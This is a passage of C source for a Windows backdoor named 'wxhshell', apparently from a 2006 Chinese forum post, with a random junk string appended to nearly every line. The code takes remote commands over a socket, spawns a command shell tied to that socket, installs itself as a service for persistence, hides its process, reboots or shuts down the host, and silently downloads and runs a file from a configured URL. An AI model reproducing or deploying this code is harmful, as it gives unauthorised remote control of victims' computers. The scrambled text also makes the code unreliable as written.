  else {$YD-bqY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^jdO##M  
  } c[_^bs>k  
  else { T% 13 '  
-MU.Hu  
    switch(cmd[0]) { heZy 66  
  Q4Fq=kTE  
  // 帮助 UvJuOh+  
  case '?': { &v5.;8u+OV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _iJXp0g  
    break; :dIQV(iW  
  } 'z}M[h K]  
  // 安装 68<Z\WP  
  case 'i': { ~X<cG=p~u  
    if(Install()) 7[v@*/W@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{tiTA  
    else )9L pX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F4E3c4 81  
    break; lkH;N<U  
    } `k]!6osZo  
  // 卸载 E? eWv)//  
  case 'r': { }?]yxa~  
    if(Uninstall()) [~c'|E8Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <o!&Kk9  
    else _b_?9b-)D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Dya?}3  
    break; Ldhk^/+  
    } 1Uemsx%'k  
  // 显示 wxhshell 所在路径 XL PpxG  
  case 'p': { *UBP]w  
    char svExeFile[MAX_PATH]; n<<=sj$\!  
    strcpy(svExeFile,"\n\r"); (s$u_aq 77  
      strcat(svExeFile,ExeFile); ? x"HX|n  
        send(wsh,svExeFile,strlen(svExeFile),0); !@<@QG-  
    break; N^ s!!Sbpq  
    } p&sK\   
  // 重启 VkDS&g~Ws  
  case 'b': { (y~laW!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MATgJ`lsy  
    if(Boot(REBOOT)) !3I(4?G,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); daB l%a=  
    else { 8HFXxpt[G  
    closesocket(wsh); -*%!q$:  
    ExitThread(0);  /MqXwUbO  
    } z{pC7e5  
    break; a We Bav}_  
    } >*= =wlOB  
  // 关机 q)V1{B@  
  case 'd': { %U5P}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xshAr J&A  
    if(Boot(SHUTDOWN)) 8VuZ,!WH#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l{6` k<J(  
    else { =,4 '"  
    closesocket(wsh); K6v $#{$6  
    ExitThread(0); aM{@1m Bm  
    } 8pk#sJ51  
    break; f(6UL31  
    } 8wX+ZL: 9  
  // 获取shell UOWIiu  
  case 's': { :'y{dbKp"  
    CmdShell(wsh); <r<Dmn|\a  
    closesocket(wsh); j!x<QNNX  
    ExitThread(0); J-tq8   
    break; p:JRQT"A  
  } hD6JW-  
  // 退出 7Aio`&^  
  case 'x': { #7]o6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "*w)puD  
    CloseIt(wsh); 1Y=AT!"V  
    break; AhvvuN$n%  
    } >+:r '  
  // 离开 qDRNtFa  
  case 'q': { 5#0A`QO   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }dX/Y /  
    closesocket(wsh); $ZI~8rI~  
    WSACleanup(); w%3Fg~Up  
    exit(1); hdd>&?p3  
    break; %2Epgh4?  
        } ,!6M* |  
  } l:Dn3Q  
  } jCTy:q]  
psIkG0 &  
  // 提示信息 # 0GGc.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{xMIl_  
} 3P//H8 8LY  
  } D =r-  
vWU%ST  
  return; _0,"vFdj  
} T8$%9&j!UE  
qyg*n>nt  
// shell模块句柄  3L%WVCB  
int CmdShell(SOCKET sock) J`w]}GlH  
{ )A="eW_>  
STARTUPINFO si; v%lv8Lar'  
ZeroMemory(&si,sizeof(si)); $sEB'>:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?"{QK:`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PZys  u  
PROCESS_INFORMATION ProcessInfo; L5Urg*GNL  
char cmdline[]="cmd"; - <J q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4~O6$;!|~  
  return 0; Zc-#;/b3T  
} GAv)QZyV$  
S8O)/Sg=  
// 自身启动模式 9>N\sOh  
int StartFromService(void) nVxq72o@  
{ Rl_.;?v"!  
typedef struct 9nn>O?  
{ bvl~[p$W3  
  DWORD ExitStatus; $^}[g9]1  
  DWORD PebBaseAddress;  ispkj'  
  DWORD AffinityMask; Z'Kd^`mt 9  
  DWORD BasePriority; 7}Bj|]b)~  
  ULONG UniqueProcessId; }>V/H]B  
  ULONG InheritedFromUniqueProcessId; 3brb*gI_b  
}   PROCESS_BASIC_INFORMATION;  bH*@,EE  
42fprt  
PROCNTQSIP NtQueryInformationProcess; Q[M (Wqg  
(lb6]MtTHY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R6`*4z S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0$tjNy e  
?VB#GJ0M9  
  HANDLE             hProcess; eGLO!DdxZ  
  PROCESS_BASIC_INFORMATION pbi; -b cG[W3  
k, f)2<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oEJaH  
  if(NULL == hInst ) return 0;  *p=fi  
RI-A"cc6A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }2l O _i}L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;SgD 5Ln}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &K>cW$h=a  
+UzXN$73  
  if (!NtQueryInformationProcess) return 0; N31?9GE  
bFg*l$`5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q xfLfgu^  
  if(!hProcess) return 0; ~n WsP}`n  
YG4WS |  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]}kI)34/  
\yNQQ$B  
  CloseHandle(hProcess); P+h6!=nD7  
gmY/STN   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a:A n=NA  
if(hProcess==NULL) return 0; }|Uj"e  
t05_Px!mW  
HMODULE hMod; RdgVB G#Z1  
char procName[255]; X8Xn\E  
unsigned long cbNeeded; V JDoH  
v dU%R\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a9=>r  
8lwFAiC8  
  CloseHandle(hProcess); h3kaD  
CM9XPr  
if(strstr(procName,"services")) return 1; // 以服务启动 ;hwzYXWF  
3cqQL!Gm  
  return 0; // 注册表启动 i'HPRY  
} b6"}"bG  
T7 {<arL$  
// 主模块 cGNvEM(4AV  
int StartWxhshell(LPSTR lpCmdLine) Q"%S~&#'  
{ S ZlC4=6c  
  SOCKET wsl; 1Dq<{;rWb  
BOOL val=TRUE; bhD ~ 4Rz  
  int port=0; Ry z?v<)h  
  struct sockaddr_in door; +3;Ody"59  
w?*z^y@  
  if(wscfg.ws_autoins) Install(); w$j{Hp6m  
x? N.WABr;  
port=atoi(lpCmdLine); C/G]v*MBQ  
aG(hs J)  
if(port<=0) port=wscfg.ws_port; w9f _b3  
wK ?@.l)u  
  WSADATA data; 2ev*CX6.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @4drjT  
Z\Z,,g+WL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *YtB )6j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q(Gyq:L=>  
  door.sin_family = AF_INET; ([R")~`(l2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _({@B`N}  
  door.sin_port = htons(port); $W&:(&  
y<uAp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X&a:g  
closesocket(wsl); o@W_ai_  
return 1; mu[Op*)  
} SO;N~D1Z6  
2no$+4+z  
  if(listen(wsl,2) == INVALID_SOCKET) { o5swH6Y.)J  
closesocket(wsl); iA'As%S1  
return 1; byGn,m  
} qsI^oBD"  
  Wxhshell(wsl); QXVC\@  
  WSACleanup(); nBz`q+V  
+j{Y,t{4  
return 0; eY,O@'"8`  
|0sPka/u16  
} #G#g|x*V  
L0Y0&;y|R  
// 以NT服务方式启动 =gjDCx$|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 53Yxz3v  
{ I[0!S IqY  
DWORD   status = 0; M:|8]y@  
  DWORD   specificError = 0xfffffff; /=)L_  
e[1>(l}Ss  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6e&$l-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "AC^ rz~U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "(`2eXRn  
  serviceStatus.dwWin32ExitCode     = 0; c2 Aps  
  serviceStatus.dwServiceSpecificExitCode = 0; ^m!_ 2_q  
  serviceStatus.dwCheckPoint       = 0; 1J{fXh  
  serviceStatus.dwWaitHint       = 0; 5u$D/* Eb  
n2f6 p<8A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #HAC*n  
  if (hServiceStatusHandle==0) return; Pbn!KX~F~  
W:`#% :C  
status = GetLastError(); @gY\;[#.  
  if (status!=NO_ERROR) tY+$$GSQj  
{ hmC*^"C>U=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lnh+a7a)  
    serviceStatus.dwCheckPoint       = 0; 'yY>as  
    serviceStatus.dwWaitHint       = 0; '<dgT&8C  
    serviceStatus.dwWin32ExitCode     = status; h Dk)Qg  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^/@jwZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w1 `QIv  
    return; $f$|6jM  
  } sy/nESZs  
0uvzxmN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8wK ~ i  
  serviceStatus.dwCheckPoint       = 0; }%TPYc  
  serviceStatus.dwWaitHint       = 0; CnISe^h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a.2L*>p  
} @1-F^G%p8  
z6*<V5<7  
// 处理NT服务事件,比如:启动、停止 3j Z6kfj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iW%8/$  
{ V}WB*bE  
switch(fdwControl) Bv6 K$4  
{ By)u-)g9  
case SERVICE_CONTROL_STOP: y<:<$22O  
  serviceStatus.dwWin32ExitCode = 0; z>m=h)9d~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P7.'kX9  
  serviceStatus.dwCheckPoint   = 0; i-" p)2d=#  
  serviceStatus.dwWaitHint     = 0; *\G)z|^yx  
  { lDxc`S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m GjN_  
  } ?r=jF)C<'  
  return; r(h`XMsU  
case SERVICE_CONTROL_PAUSE: aEt/NwgiQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5jB* fIz  
  break; n.}E5 %qK  
case SERVICE_CONTROL_CONTINUE: Cbm\h/PXl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `aC){&AP(  
  break; . pzC5Ah  
case SERVICE_CONTROL_INTERROGATE: z (?=Iv3  
  break; m ci/'b Xt  
}; -7 U| a/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ocz G|_  
} %]2, &  
fHRMu:q  
// 标准应用程序主函数 %McE` 155  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eWJ`$"z  
{ *{ {b~$  
b^0}}12  
// 获取操作系统版本 Jl3g{a  
OsIsNt=GetOsVer(); 'cix`l|^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kF"@Ngv.  
n+;6=1d7ZW  
  // 从命令行安装 QX4ai3v  
  if(strpbrk(lpCmdLine,"iI")) Install(); 42J {aJVH  
|yEa5rd?W  
  // 下载执行文件 BZ54*\t  
if(wscfg.ws_downexe) { {X(:jAy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `-h8vj5uG  
  WinExec(wscfg.ws_filenam,SW_HIDE); h:Gu`+D>W  
} z`UhB%-?  
>TkE~7?l  
if(!OsIsNt) { 6 5N~0t  
// 如果时win9x,隐藏进程并且设置为注册表启动 #X 52/8G  
HideProc(); j)C,%Ol  
StartWxhshell(lpCmdLine); H,nec<Jp  
} VX LT^iX  
else {(U %i\F\  
  if(StartFromService()) {!t7[Ctb  
  // 以服务方式启动 scLn=  
  StartServiceCtrlDispatcher(DispatchTable); fC,:{}  
else t3(]YgF  
  // 普通方式启动 J &pO%Q=b  
  StartWxhshell(lpCmdLine); FCi U  
[I!6PGx  
return 0; 2EZb )&Q  
}
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只看该作者 1 发表于: 2006-10-10
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